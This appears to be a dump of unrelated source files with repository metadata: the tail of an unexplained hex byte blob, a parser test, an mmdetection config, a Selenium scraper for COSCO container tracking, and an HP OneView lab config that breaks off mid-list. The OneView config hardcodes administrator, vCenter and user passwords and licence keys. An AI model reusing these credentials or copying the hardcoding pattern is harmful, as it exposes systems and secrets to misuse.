42\x56\x73\xdf\x0b\x97\x30\xd7\x92\x86\x17\xcf\xce\x1a\xfb\xfa\x98\x57\xb3\xa4\xd1\x4a\xd5\x24\x9d\xbf\x5d\x26\x86\x11\x2a\x94\xb5\xc9\x06\xa4\xdb\xba\x2d\xd7\x1f\xa0\x75\x8a\xfe\xf3\xbe\x3f\x95\xfd\x77\x71\xc8\x86\x46\xf2\xe7\x67\x8b\xcf\xee\xc4\x02\xee\x88\xdd\x24\x17\xac\xfe\xe6\xb1\x59\x6f\x7c\xe2\x43\x6d\x4f\x79\x08\xb9\xd8\xe5\xb0\x4b\xd9\xd9\x7f\xbd\x3d\xfc\x5e\xc6\x67\x73\xa6\xfd\xe7\x83\x7c\x8e\xac\x20\x56\xb8\xc4\x74\x8e\xb7\x08\x2d\xa6\x28\xf5\x4a\x75\x70\x71\xfe\x50\x35\xcd\xe4\x68\xc6\xe9\xb0\xeb\xde\xca\xe0\x7d\x53\xf8\xc1\x9d\x51\xc1\x94\x8c\x40\x74\xb0\xde\x9d\x68\x8d\xe1\x3f\x30\x63\x65\xe5\x6c\xca\xd6\xd3\x69\xcf\x6e\xbd\x1c\x4d\x6f\xa3\x8a\x73\x5b\x6a\x1b\xd1\x81\x65\x8e\xd7\x97\x2b\x85\x74\x4b\xe8\x03\x7d\xc1\x01\x4f\x48\xf4\x5c\x02\x1f\x3f\x75\xa9\xab\x7f\xe5\xdb\xd2\x4e\x06\x2c\x0e\x7a\x4f\x5d\x5d\xe7\xf1\xbf\xd8\x43\xe6\x48\x54\xfb\x53\x75\x90\x52\xdd\x89\xab\x82\xea\x01\x3d\x01\xc8\xbe\x60\x28\xf5\xfd\xc9\x80\x7b\x92\x0f\xb6\x21\x11\xf9\x20\x0e\x87\x58\x05\xa3\xa2\x5d\x61\x2b\xcc\x0d\x72\xe3\x28\xb7\x36\xb7\xae\x3f\x7c\xeb\x36\xd3\xa2\x9c\xb9\x60\x2a\xa8\xde\xfc\xb6\x9c\xf2\xb7\xf8\xab\xef\xc1\x5f\xdb\x08\x5a\x60\x0c\x97\x9d\x9d\xd2\x6f\x52\x50\xd6\x5b\x49\x82\x33\x14\x09\x0f\xbf\xdb\x70\x1b\x8a\xd0\xf6\xf0\xc7\xb1\x05\xc6\x2d\x38\x0e\xfb\x13\x7f\xb9\x47\xab\x77\x1f\x4b\x4e\x5e\xe9\x9a\xb7\x70\xbf\x43\x4b\x78\xed\xfe\xa9\x8e\xe7\x6d\xbb\x15\x34\x34\x62\xbf\x19\xce\x0d\x41\x79\x3a\x4d\xa7\x4a\x2e\xb9\xae\xd0\x05\x05\xac\x43\xe7\xb8\xd2\x13\x20\xac\xe3\xc8\x50\x8b\x65\x6f\x92\x1b\xda\x30\xaa\x52\xc8\x40\xad\x67\xa1\xb4\x1b\x69\x59\x83\xce\x46\x5b\x74\x19\x66\xa0\xc4\x7b\xf2\x1e\x34\x01\x1c\x4b\xa4\x3c\xea\x10\xde\x3c\x81\x9f\xbf\x27\xcb\x4c\x0c\x94\xe5\x09\x0a\xe8\xb9\x94\xc0\xdf\xd5\x6a\xa6\xa6\x4c\xa5\x86\x80\x25\xcc\x7d\x0c\x70\x56\xa0\xa8\x51\xb7\x17\x59\xcf\x3e\x07\xcc\xc1\xee\x45\xd1\xbb\xae\x84\xf0\x64\x83\x8e\x2f\x73\x16\xfb\xe9\xb7\x50\x31\x9b\x87\x1a\xd9\x8b\x43\x01\x52\x6a\xd0\x84\x8d\xf5\x14\x52\xc4\x69\xa8\xe5\x73\x9b\xba\x1b\xda\x0d\xed\x4c\x26\x94\x4d\xa3\x79\xe3\x44\x52\xcc\x74\xfd\xcd\x5b\xc8\x60\x71\xdc\x18\x65\x84\xda\x18\x2e\xdb\xe9\xc1\x46\x84\xb0\x46\xe0\x12\xed\xc0\x6a\x06\xf1\x42\x27\xee\x2f\x0d\xe2\x9e\x7d\x65\x6b\xbf\x7d\x97\x2f\x39\xd9\xe2\x37\xe1\x80\x77\xb7\x2c\xb0\x12\x51\x7f\xb6\xaa\xbf\x30\x28\x29\x0c\x74\xf0\x10\xb7\xb8\xdc\x86\x8e\xa6\xb5\xff\x70\x28\x3d\x45\xe7\xfd\xfb\xfa\x30\xd0\xca\xdf\x90\xa7\x04\x21\xf7\xd2\x5c\x5b\xde\xf1\xf6\x13\x5f\xb1\x48\xd3\x87\x85\xcf\x7f\x51\x5f\xe0\xce\x57\x78\x15\x54\xf5\xbd\x30\x96\xee\x5f\x29\xde\x8b\xa3\xc0\x53\xf3\x86\xbb\xf7\xf0\x44\x5e\x09\x43\xb6\x1d\xde\xb3\xb3\x5d\xd0\xd7\x6f\x57\xe2\x90\x7c\x60\x87\xa9\xab\xb6\x1d\x1a\xa6\x65\x91\x2e\x95\xcd\x8f\x38\x43\x44\x21\x86\x7d\x71\xbc\x7c\x63\xaa\xcd\xfc\x01\x13\x05\xd6\x43\xba\x9f\x9f\x01\x11\x62\x7d\x43\x83\x0d\x30\x60\xbc\xd4\xd7\xf4\x0a\xe4\xef\x95\xb4\x21\x15\x38\x67\x0a\x74\x53\xa9\xe2\xa1\xf1\x22\x5f\x9d\x30\x2a\xc1\xac\x20\x22\xd7\x1a\x1f\x9d\xd1\x4c\x3f\x33\x18\x2d\x29\xa7\xd8\x0e\x75\x25\x0c\x8a\x7e\x95\xe9\xe4\xa7\x4e\x13\x83\x1b\x0d\xae\x0a\x64\xc1\x8e\x53\x24\x6b\x22\x44\x3a\x2d\xb9\xcd\x96\x5b\x92\x3f\x71\x84\xc0\xef\x17\x1e\xc1\x6e\x12\x27\xc0\x62\x48\xa0\x34\xfd\xb9\xe8\x24\x0c\x47\x03\x32\xab\xad\x1a\xf7\x51\xbb\xe1\xe0\x66\xb1\x61\x9b\x73\x35\x75\x79\xf3\xe0\x49\xd7\xae\xfd\xdc\x3e\x45\xbc\x1e\x03\xf0\x17\x99\xbc\x7d\xb9\x64\x9f\x45\x5f\x8a\x20\x6c\xb9\x3e\x09\x4f\x06\xda\x33\x91\xda\xa5\x24\x0a\x2f\x98\x4b\x3f\x27\x9a\x32\x21\x96\xee\x8f\x8c\x03\xf7\x20\xfb\x88\x21\x21\xf5\xa2\xde\x3c\x20\x7e\x00\x79\x4a\xb5\x10\x16\x65\xab\xeb\x25\xd1\x1a\xc3\xc2\x9f\xd5\xca\x15\x4b\xab\x23\x1d\x27\x34\x6e\x62\x5e\x5a\xe6\xcc\x44\x38\x89\x9d\x82\x28\x50\x41\x28\x16\x1b\xe7\xf4\x8c\x38\x20\x18\xf8\xf9\x31\x8e\xda\xab\xeb\xc4\xbc\x05\x80\x34\x1c\xec\x26\xbb\x07\x35\x02\x70\x20\x5a\xd3\xe9\xf7\xf0\xa7\x74\x2b\x5c\x67\x7a\xed\xae\x2c\x99\xa9\x17\x96\xad\xda\x37\xde\xd0\x21\xac\xb9\xd2\x49\xf3\x96\x42\xc2\x5d\x93\x2b\x60\x5d\xbc\x09\x2a\xf3\xef\xd8\xd9\x86\x4f\xc7\x2d\x24\xbe\x0a\xe9\x82\x9c\x4d\xd8\xeb\xc9\x61\x9e\xc9\x3d\x28\x45\xbd\xf1\x8f\xad\xf2\xe8\x44\x46\xf1\x46\x9b\xb3\x0b\xa3\xa3\x02\x9a\xf0\x61\x5e\xe8\xf5\xb0\x70\x3b\x68\x35\x72\x33\x9c\xd5\x49\xba\xec\xd1\x69\x24\x27\xdd\xb1\xb4\xec\x85\x99\xf4\x8b\xc2\xba\xc5\xac\xa5\xe6\x96\xf7\x5d\x2f\x61\x81\x6f\xd1\x7b\x3c\x35\x05\x3e\xae\xee\x3b\xcd\xab\x04\x77\x7c\x50\x75\xec\x18\xd9\xc5\xef\x07\x24\x84\x09\xc5\x9e\xee\x8e\xaf\xe0\x53\x1f\x1f\x59\x52\x0e\x17\x3f\x7a\xd3\x71\x9b\x5f\x31\x78\xee\xbd\x5f\xcc\xb3\x1e\x8f\x80\x63\x21\x86\xfe\xee\x25\x27\x69\x44\x08\xc5\x5d\x30\x48\x00\xcc\xb1\xed\xc6\xb6\xa5\xbb\x9b\x8f\x03\x38\x1c\xc8\x85\x73\xcd\x52\x34\x22\xcb\xd5\x0f\x48\x80\x7a\x96\x4d\x06\x78\xe4\x96\xa9\xe9\x71\x10\xd0\xb9\x02\x10\xe0\x75\xd1\x98\x0c\xb8\x6d\x26\xae\xe1\xf3\x0a\x38\x0e\xad\xb4\xa8\xfd\xb0\xe7\xda\xba\xc3\xc4\x9d\xdc\xc8\xac\x80\xb4\x36\xe5\xf4\x7d\x9a\xdd\x38\x56\x21\x85\x53\x78\x02\xab\xd8\x1e\xc0\xa9\xb0\x40\x1d\x0d\xa0\x7a\x6c\xd0\x66\xe0\x02\xfc\x41\x8d\x38\xf0\xf0\xc9\x45\x00\x06\x6e\xdb\x66\x94\x2e\xce\x73\x69\x08\x83\xb4\xd2\xe5\x01\xb4\x37\x6f\x4e\x28\x7e\x0e\x5c\x72\x87\x43\xc9\xb3\x77\x91\x34\x93\x3c\x35\xaf\x6f\xf0\xd3\xd6\x8d\x0e\xf9\xe9\x41\xec\x4b\xce\xec\x7e\xfc\x35\x69\x50\xd8\xdf\x12\x58\x45\x71\x72\x9b\xf9\xa9\x69\x16\xe4\xe2\x7e\xe2\xbc\x39\xf8\x8a\xbe\x4a\x6e\x60\xc4\x12\x60\x89\x5d\x08\xcb\x02\xa4\x09\x05\x35\x33\x8c\x10\xe2\x7a\x59\x89\x82\x07\x9a\xbc\xae\x08\xb8\xa6\x50\x71\xf1\x11\xad\xf7\x36\x02\x7c\xf0\x6a\xf7\x9c\x6c\x51\x9c\x41\x8c\xa4\xb3\xf9\x24\x3a\xd8\xef\xa1\x24\x77\x01\xdd\x7e\x4f\x2d\x3e\x4c\x03\x8b\x2b\x63\xa5\x4f\xe9\xdd\x45\xf6\xca\xac\x69\x34\xb6\x34\x15\x9c\xd3\x73\xff\xac\xe6\x30\xcf\x64\xa6\x36\x29\x33\x87\x79\xc0\x84\x36\x88\xb5\xde\x3e\xa8\x3d\x4b\xb3\xdd\xd8\xa2\x2e\x89\x43\xc3\xeb\x94\x6d\x72\x54\xac\x42\x45\x93\x99\x5a\x31\xd6\xc8\xa5\x7c\x0e\xe4\xa9\x09\x3b\x01\x12\x67\x2c\xe3\x13\xc1\x07\x69\xe7\x9f\xce\x05\xd7\xe5\x11\xbd\xae\x77\x3d\xe4\xee\x92\xa3\xde\xfd\x1f\x9b\x8b\x58\xdf\x61\x83\xac\x44\x7e\x8f\x53\x15\x74\xd5\xcf\x14\xec\x7b\x93\x52\x89\xf7\xf6\xa8\xf8\xa2\x7a\x7d\xa3\xbd\xaa\x39\x23\xb5\x9e\x48\xbc\x97\xf1\x54\x35\xf0\x94\xf2\x86\xb8\x26\x8a\xd7\x6b\x32\xe0\xb7\x12\x3c\xf6\x92\x21\x3d\x2e\x4f\x2f\x23\x0d\xbf\xa4\x55\x4c\x20\x3f\x48\x25\x52\xb3\x22\x55\x97\x2c\x55\xe1\x8b\x9b\x8d\x40\x82\xa5\xef\x23\x34\x1f\xc3\xa7\x0d\x49\x96\xc1\xd8\x45\xbe\x4c\x68\xa0\x76\x69\x84\x9e\xe8\xf9\x9c\x12\x52\x39\x0a\x58\x16\x52\x0c\x25\x85\xb3\x72\xb2\x18\xd0\x6b\x20\x7d\x13\x11\x8d\xa4\x25\xb3', 1)
[ "rnrnstar520@gmail.com" ]
rnrnstar520@gmail.com
4b7e734cde8ac838754776fc9246c7be90ce7b5d
db285b1924b5d2b1a88631b57247d960540b6a86
/tests/dsl.py
b0c585c428343340d7018490a29f89e6a6ebb228
[]
no_license
remyzane/esql-assist
b2706e14490540e8cebbb95dea411f36ef66d533
614fadf36a708f379c964f26b50a38f5a408d8d1
refs/heads/master
2021-01-12T01:25:46.688715
2017-03-10T08:42:08
2017-03-10T08:42:08
78,384,218
0
0
null
null
null
null
UTF-8
Python
false
false
728
py
from parser import Processor from tests import get_test_cases, tests_data_path, check_consistency, show_difference def test_cases(): use_case_group = get_test_cases('ast_dsl') print() for case_file, use_case in use_case_group.items(): print(' ' + case_file[len(tests_data_path) + 1:] + ' ...') if not use_case: continue for sql, _tc in use_case.items(): if 'dsl' not in _tc: continue source = Processor.execute(sql) target = _tc['dsl'] difference = check_consistency(source, target) if difference: show_difference(sql, source, target, 'dsl', difference) assert False
[ "remyzane@icloud.com" ]
remyzane@icloud.com
a772c938054ff9377d66f766c4c9314f60c6fe54
fbcfb3c21a8516d00c38129724e846e6074aaae6
/configs/DeepScoresBaselines/DSv2_rcnn/DSv2_faster_rcnn_hrnetv2p_w18.py
cf48a2f119b490bf8a6b8bcdef3ab57d99ae2965
[ "Apache-2.0" ]
permissive
jt658/mmdetection
41877a71bb49c4b2a6ede88134236ecd18e9ad74
1f9a04e3af5cc55ff4ce9ef11f0327390ffae58e
refs/heads/master
2023-01-30T12:34:51.639204
2020-12-17T10:18:24
2020-12-17T10:18:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
458
py
_base_ = './DSv2_faster_rcnn_hrnetv2p_w40.py' # model settings model = dict( pretrained='open-mmlab://msra/hrnetv2_w18', backbone=dict( extra=dict( stage2=dict(num_channels=(18, 36)), stage3=dict(num_channels=(18, 36, 72)), stage4=dict(num_channels=(18, 36, 72, 144)))), neck=dict(type='HRFPN', in_channels=[18, 36, 72, 144], out_channels=256)) work_dir = './work_dirs/DSv2_faster_rcnn_hrnetv2p_w18'
[ "tugg@zhaw.ch" ]
tugg@zhaw.ch
03900f1739412817a140ecee95c1f317ed1b5163
184673f63339633ef329b7ef8870d2a37947ea4e
/cosco.py
e25d5ee434a76b907d93e27b68c1c40c86efa54d
[]
no_license
bryangalindo/centrans_carrier_scraper
be8959ca0415a9af15a1773a31d546a798709db8
4a9f696aa2f78ceb2f9324687237819130ad7113
refs/heads/master
2020-04-06T09:08:41.248915
2019-02-27T02:48:09
2019-02-27T02:48:09
157,330,464
1
0
null
null
null
null
UTF-8
Python
false
false
3,726
py
from constants import COSCOURL from utils import Driver class Cosco: def __init__(self, bl_number): self.driver = Driver() dummy_url = '/error404' self.bl_number = bl_number # BL format : 6194326880 self.driver.get_page(COSCOURL+dummy_url) self.driver.add_cookies() self.driver.get_page(COSCOURL+'/cargoTracking') # Locates search box and inputs BL number search_element = self.driver.find_xpath_element('//*[@id="wrap"]/input') search_element.send_keys(bl_number) # Locates search button and clicks search_xpath = '/html/body/div[1]/div[4]/div[1]/div/div[1]/div/div[2]/form/div/div[2]/button' search_button = self.driver.find_xpath_element(search_xpath) search_button.click() # Locates table containing majority of information main_info_table = self.driver.find_class_element('ivu-c-detailPart') main_info_text = main_info_table.text raw_info = main_info_text.replace(' ', '') self.main_info = raw_info.split('\n') # Locates table containing secondary information secondary_xpath = '/html/body/div[1]/div[4]/div[1]/div/div[2]/div/div/div[2]/div[1]/div[2]/div' secondary_table = self.driver.find_xpath_element(secondary_xpath) secondary_info_text = secondary_table.text self.secondary_info = secondary_info_text.split('\n') def get_cosco_pol(self): raw_pol = self.main_info[9] load_port = raw_pol.split('-') return load_port[0] def get_cosco_etd(self): raw_etd = self.secondary_info[7] raw_etd = raw_etd.replace('-', ' ') raw_etd_split = raw_etd.split(' ') etd = raw_etd_split[1] + raw_etd_split[2] return etd def get_cosco_pod(self): raw_pod = self.main_info[11] discharge_port = raw_pod.split('-') return discharge_port[0] def get_cosco_eta(self): raw_eta = self.secondary_info[-5] raw_eta = raw_eta.replace('-', ' ') raw_eta_split = raw_eta.split(' ') eta = raw_eta_split[1] + raw_eta_split[2] return eta def get_cosco_containers(self): container_xpath = '/html/body/div[1]/div[4]/div[1]/div/div[2]' \ '/div/div/div[2]/div[1]/div[5]/div/div/div[2]/table/tbody/tr' container_table = self.driver.find_xpath_elements(container_xpath) container_list = [] for container in container_table: raw_container = container.text raw_container = raw_container.split('\n') container_number = raw_container[0] container_type = raw_container[1] container = (container_number, container_type) container_list.append(container) return container_list def get_cosco_telex(self): telex = self.main_info[23] if telex == 'SeaWayBill': telex_released = 'Yes' else: telex_released = 'No' return telex_released def get_all_cosco_info(self): port_of_discharge = self.get_cosco_pod() port_of_loading = self.get_cosco_pol() telex = self.get_cosco_telex() etd = self.get_cosco_etd() eta = self.get_cosco_eta() containers = self.get_cosco_containers() return {'MBL': self.bl_number, 'Info': {'POL': port_of_loading, 'ETD': etd, 'POD': port_of_discharge, 'ETA': eta, 'Containers': containers, 'TELEX': telex}}
[ "noreply@github.com" ]
bryangalindo.noreply@github.com
c2374a4c2a0f8125c15d4daa87dc1bee036aa59b
ef54d37f8a3303013ca7469871a320d303957ed7
/robo4.2/fusion/tests/wpst_crm/ci_fit/config/I11/CI-FIT-16-CI-FIT-17_old.py
573ae00df59b8aacdb29e3a48d49f44cd672ae90
[]
no_license
richa92/Jenkin_Regression_Testing
d18badfcf16bda682dfe7bcbbd66f54a9a27a58d
24a74926170cbdfafa47e972644e2fe5b627d8ff
refs/heads/master
2020-07-12T10:01:59.099137
2019-08-27T12:14:53
2019-08-27T12:14:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
159,115
py
def make_range_list(vrange): rlist = [] for x in xrange(vrange['start'], (vrange['end'] + 1)): rlist.append(vrange['prefix'] + str(x) + vrange['suffix']) return rlist admin_credentials = {'userName': 'Administrator', 'password': 'hpvse123'} vcenter = {'server': '15.186.4.110', 'user': 'Administrator', 'password': 'Compaq123'} appliance = {'type': 'ApplianceNetworkConfiguration', 'applianceNetworks': [{'device': 'eth0', 'macAddress': None, 'interfaceName': 'hpqcorpnet', 'activeNode': '1', 'unconfigure': False, 'ipv4Type': 'STATIC', 'ipv4Subnet': '255.255.224.0', 'ipv4Gateway': '15.186.0.1', 'ipv4NameServers': ['16.110.135.51', '16.110.135.52'], 'app1Ipv4Addr': '15.186.7.140', 'ipv6Type': 'UNCONFIGURE', 'hostname': 'I11-CI-FIT-16-17.austin.hp.com', 'confOneNode': True, 'domainName': 'usa.hp.com', 'aliasDisabled': True, }], } timeandlocale = {'type': 'TimeAndLocale', 'dateTime': None, 'timezone': 'UTC', 'ntpServers': ['ntp.hp.net'], 'locale': 'en_US.UTF-8'} ranges = [{'name': 'CI-FIT-16-MAC', 'type': 'Range', 'category': 'id-range-VMAC', 'rangeCategory': 'CUSTOM', 'startAddress': 'A2:66:66:00:00:00', 'endAddress': 'A2:66:66:0F:FF:FF', 'enabled': True}, {'name': 'CI-FIT-16-WWN', 'type': 'Range', 'category': 'id-range-VWWN', 'rangeCategory': 'CUSTOM', 'startAddress': '26:66:6C:66:00:0F:FF:FF', 'endAddress': '26:66:6C:66:00:0F:FF:FF', 'enabled': True}, {'name': 'CI-FIT-16-SN', 'type': 'Range', 'category': 'id-range-VSN', 'rangeCategory': 'CUSTOM', 'startAddress': 'VCUGGG0000', 'endAddress': 'VCUGGG0ZZZ', 'enabled': True}] users = [{'userName': 'Serveradmin', 'password': 'Serveradmin', 'fullName': 'Serveradmin', 'roles': ['Server administrator'], 'emailAddress': 'serveradmin@hp.com', 'officePhone': '512-555-0004', 'mobilePhone': '512-500-0004', 'type': 'UserAndRoles'}, {'userName': 'Networkadmin', 'password': 'Networkadmin', 'fullName': 'Networkadmin', 'roles': ['Network administrator'], 'emailAddress': 'networkadmin@hp.com', 'officePhone': '512-555-0003', 'mobilePhone': '512-500-0003', 'type': 'UserAndRoles'}, {'userName': 'Backupadmin', 'password': 'Backupadmin', 'fullName': 'Backupadmin', 'roles': ['Backup administrator'], 'emailAddress': 'backupadmin@hp.com', 'officePhone': '512-555-0003', 'mobilePhone': '512-500-0003', 'type': 'UserAndRoles'}, {'userName': 'Noprivledge', 'password': 'Noprivledge', 'fullName': 'Noprivledge', 'roles': ['Read only'], 'emailAddress': 'nopriv@hp.com', 'officePhone': '512-555-0003', 'mobilePhone': '512-500-0003', 'type': 'UserAndRoles'} ] licenses = [{'key': 'YCDE D9MA H9P9 8HUZ U7B5 HWW5 Y9JL KMPL MHND 7AJ9 DXAU 2CSM GHTG L762 LFH6 F4R4 KJVT D5KM EFVW DT5J 83HJ 8VC6 AK2P 3EW2 L9YE HUNJ TZZ7 MB5X 82Z5 WHEF GE4C LUE3 BKT8 WXDG NK6Y C4GA HZL4 XBE7 3VJ6 2MSU 4ZU9 9WGG CZU7 WE4X YN44 CH55 KZLG 2F4N A8RJ UKEG 3F9V JQY5 "423207356 HPOV-NFR2 HP_OneView_w/o_iLO_16_Seat_NFR H3TCJHCGAYAY"'}, {'key': 'QC3C A9MA H9PQ GHVZ U7B5 HWW5 Y9JL KMPL 2HVF 4FZ9 DXAU 2CSM GHTG L762 7JX5 V5FU KJVT D5KM EFVW DV5J 43LL PSS6 AK2P 3EW2 T9YE XUNJ TZZ7 MB5X 82Z5 WHEF GE4C LUE3 BKT8 WXDG NK6Y C4GA HZL4 XBE7 3VJ6 2MSU 4ZU9 9WGG CZU7 WE4X YN44 CH55 KZLG 2F4N A8RJ UKEG 3F9V JQY5 "423207566 HPOV-NFR2 HP_OneView_w/o_iLO_48_Seat_NFR 6H72JHCGY5AU"'} ] ethernet_networks = [{'name': 'IC', 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': True, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Untagged'}, {'name': 'Tunnel1', 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': True, 'privateNetwork': True, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tunnel'}, {'name': 'Tunnel2', 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': True, 'privateNetwork': True, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tunnel'}, ] ethernet_ranges = [{'prefix': 'net_', 'suffix': '', 'start': 2, 'end': 45, 'name': None, 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': False, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tagged'}, {'prefix': 'net_', 'suffix': '-O', 'start': 2, 'end': 45, 'name': None, 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': False, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tagged'}, {'prefix': 'net_', 'suffix': '-E', 'start': 2, 'end': 45, 'name': None, 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': False, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tagged'}, {'prefix': 'net_', 'suffix': '', 'start': 3985, 'end': 4000, 'name': None, 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': False, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tagged'}, {'prefix': 'net_', 'suffix': '-O', 'start': 3985, 'end': 4000, 'name': None, 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': False, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tagged'}, {'prefix': 'net_', 'suffix': '-E', 'start': 3985, 'end': 4000, 'name': None, 'type': 'ethernet-networkV3', 'vlanId': None, 'purpose': 'General', 'smartLink': False, 'privateNetwork': False, 'connectionTemplateUri': None, 'ethernetNetworkType': 'Tagged'} ] fc_networks = [{'name': 'SAN-3-A', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-4-B', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-1-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-1-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-1-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-1-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-2-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-2-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-2-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-2-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-3-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-3-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-3-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-3-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-4-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-4-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-4-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-4-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-5-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-5-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-5-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-5-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-6-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-6-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-6-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-6-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-7-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-7-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-7-3-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-7-4-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': True, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-8-1-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 'connectionTemplateUri': None, 'managedSanUri': None, 'fabricType': 'DirectAttach'}, {'name': 'SAN-8-2-DA', 'type': 'fc-networkV2', 'linkStabilityTime': 30, 'autoLoginRedistribution': False, 